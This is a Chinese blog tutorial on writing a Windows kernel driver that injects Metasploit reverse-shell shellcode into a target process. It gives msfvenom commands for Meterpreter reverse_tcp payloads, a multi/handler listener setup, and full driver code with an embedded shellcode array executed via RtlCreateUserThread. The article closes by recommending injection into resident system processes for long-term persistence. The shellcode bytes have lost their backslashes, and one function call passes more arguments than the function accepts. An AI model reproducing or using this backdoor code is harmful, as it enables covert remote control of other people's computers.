还记得《驱动开发:内核LoadLibrary实现DLL注入》
中所使用的注入技术吗,我们通过RtlCreateUserThread
函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入ShellCode
代码实现反弹Shell,这里需要注意一般情况下RtlCreateUserThread
需要传入两个最重要的参数,一个是StartAddress
开始执行的内存块,另一个是StartParameter
传入内存块的变量列表,而如果将StartParameter
地址填充为NULL
则表明不传递任何参数,也就是只在线程中执行ShellCode
代码,利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。
- 被控主机IP: 10.0.66.11
- 控制主机IP: 10.0.66.22
为了能实现反弹后门的功能,我们首先需要使用Metasploit
工具生成一段ShellCode
代码片段,以32位为例,生成32为反弹代码。
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
-b 'x00x0b' lhost=10.0.66.22 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp
-b 'x00x0b' lhost=10.0.66.22 lport=9999 -f c
生成ShellCode代码片段如下图所示;
其次服务端需要侦听特定端口,配置参数如下所示;
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit
服务端执行后则会进入侦听等待阶段,输出效果图如下所示;
此时我们使用如下代码片段,并自行修改进程PID
为指定目标进程,编译生成驱动程序;
// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com
#include "lyshark.h"
// 定义函数指针
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT size_t StackReserved,
IN OUT size_t StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
// 远程线程注入函数
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
PEPROCESS pEProcess = NULL;
KAPC_STATE ApcState = { 0 };
PfnRtlCreateUserThread RtlCreateUserThread = NULL;
HANDLE hThread = 0;
__try
{
// 获取RtlCreateUserThread函数的内存地址
UNICODE_STRING ustrRtlCreateUserThread;
RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
if (RtlCreateUserThread == NULL)
{
return FALSE;
}
// 根据进程PID获取进程EProcess结构
status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
if (!NT_SUCCESS(status))
{
return FALSE;
}
// 附加到目标进程内
KeStackAttachProcess(pEProcess, &ApcState);
// 验证进程是否可读写
if (!MmIsAddressValid(pRing3Address))
{
return FALSE;
}
// 启动注入线程
status = RtlCreateUserThread(ZwCurrentProcess(),
NULL,
FALSE,
0,
0,
0,
pRing3Address,
NULL,
&hThread,
NULL);
if (!NT_SUCCESS(status))
{
return FALSE;
}
return TRUE;
}
__finally
{
// 释放对象
if (pEProcess != NULL)
{
ObDereferenceObject(pEProcess);
pEProcess = NULL;
}
// 取消附加进程
KeUnstackDetachProcess(&ApcState);
}
return FALSE;
}
VOID Unload(PDRIVER_OBJECT pDriverObj)
{
DbgPrint("[-] 驱动卸载 n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
DbgPrint("Hello LyShark.com n");
ULONG process_id = 5844;
DWORD create_size = 1024;
DWORD64 ref_address = 0;
// -------------------------------------------------------
// 应用层开堆
// -------------------------------------------------------
NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address);
DbgPrint("对端进程: %d n", process_id);
DbgPrint("分配长度: %d n", create_size);
DbgPrint("分配的内核堆基址: %p n", ref_address);
// 设置注入路径,转换为多字节
UCHAR ShellCode[] =
"xdbxdexd9x74x24xf4x5axbex12x21xe9xefx31xc9xb1"
"x59x31x72x19x83xc2x04x03x72x15xf0xd4x15x07x7b"
"x16xe6xd8xe3x26x34x51x06x2cx33x30xf8x26x11xb9"
"x73x6ax82x4axf1xa3xa5xfbxbfx95x88xfcx0ex1ax46"
"x3ex11xe6x95x13xf1xd7x55x66xf0x10x20x0cx1dxcc"
"xe4x65xb3xe1x81x38x0fx03x46x37x2fx7bxe3x88xdb"
"x37xeaxd8xa8x90xccx53xe6x38x5dx65x25xbdx94x11"
"xf5xf7x17x25x8ex3cxd3xd8x46x0dx23x76xa7xa1xae"
"x86xe0x06x51xfdx1ax75xecx06xd9x07x2ax82xfdxa0"
"xb9x34xd9x51x6dxa2xaax5exdaxa0xf4x42xddx65x8f"
"x7fx56x88x5fxf6x2cxafx7bx52xf6xcexdax3ex59xee"
"x3cxe6x06x4ax37x05x50xeaxb8xd5x5dxb6x2ex19x90"
"x49xaex35xa3x3ax9cx9ax1fxd5xacx53x86x22xa5x74"
"x39xfcx0dx14xc7xfdx6dx3cx0cxa9x3dx56xa5xd2xd6"
"xa6x4ax07x42xadxdcxa2x92xf3x0axdbx90xf3x15x14"
"x1dx15x09x7ax4dx8axeax2ax2dx7ax83x20xa2xa5xb3"
"x4ax69xcex5exa5xc7xa6xf6x5cx42x3cx66xa0x59x38"
"xa8x2ax6bxbcx67xdbx1exaex90xbcxe0x2ex61x29xe0"
"x44x65xfbxb7xf0x67xdaxffx5ex97x09x7cx98x67xcc"
"xb4xd2x5ex5axf8x8cx9ex8axf8x4cxc9xc0xf8x24xad"
"xb0xabx51xb2x6cxd8xc9x27x8fx88xbexe0xe7x36x98"
"xc7xa7xc9xcfx5bxafx35x8dx73x08x5dx6dxc4xa8x9d"
"x07xc4xf8xf5xdcxebxf7x35x1cx26x50x5dx97xa7x12"
"xfcxa8xedxf3xa0xa9x02x28x53xd3x6bxcfx94x24x62"
"xb4x95x24x8axcaxaaxf2xb3xb8xedxc6x87xb3x58x6a"
"xa1x59xa2x38xb1x4b";
// -------------------------------------------------------
// 写出数据到内存
// -------------------------------------------------------
ReadMemoryStruct ptr;
ptr.pid = process_id;
ptr.address = ref_address;
ptr.size = strlen(ShellCode);
// 需要写入的数据
ptr.data = ExAllocatePool(NonPagedPool, ptr.size);
// 循环设置
for (int i = 0; i < ptr.size; i++)
{
ptr.data[i] = ShellCode[i];
}
// 写内存
MDLWriteMemory(&ptr);
ExFreePool(ptr.data);
// -------------------------------------------------------
// 执行开线程函数
// -------------------------------------------------------
// 执行线程注入
// 参数1:PID
// 参数2:LoadLibraryW内存地址
// 参数3:当前DLL路径
BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0);
if (flag == TRUE)
{
DbgPrint("[*] 已完成进程 %d | 注入地址 %p n", process_id, ref_address);
}
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}
编译并在客户端运行这个驱动程序,则会将ShellCode
反弹后门注入到PID=5844
进程内,输出效果图如下所示;
此时回到服务端程序,则可看到反弹Shell
会话,输出效果图如下所示;
当然该方法也可注入自定义ShellCode代码,也可实现对某个游戏的Call
调用功能等,上文中只是为了通用性而演示的一个案例,在真实的实战环境中,读者可以将代码注入到系统常驻进程上,这样系统启动后自动注入代码以此来实现长久的权限维持。
文章来源: 博客园
- 还没有人评论,欢迎说说您的想法!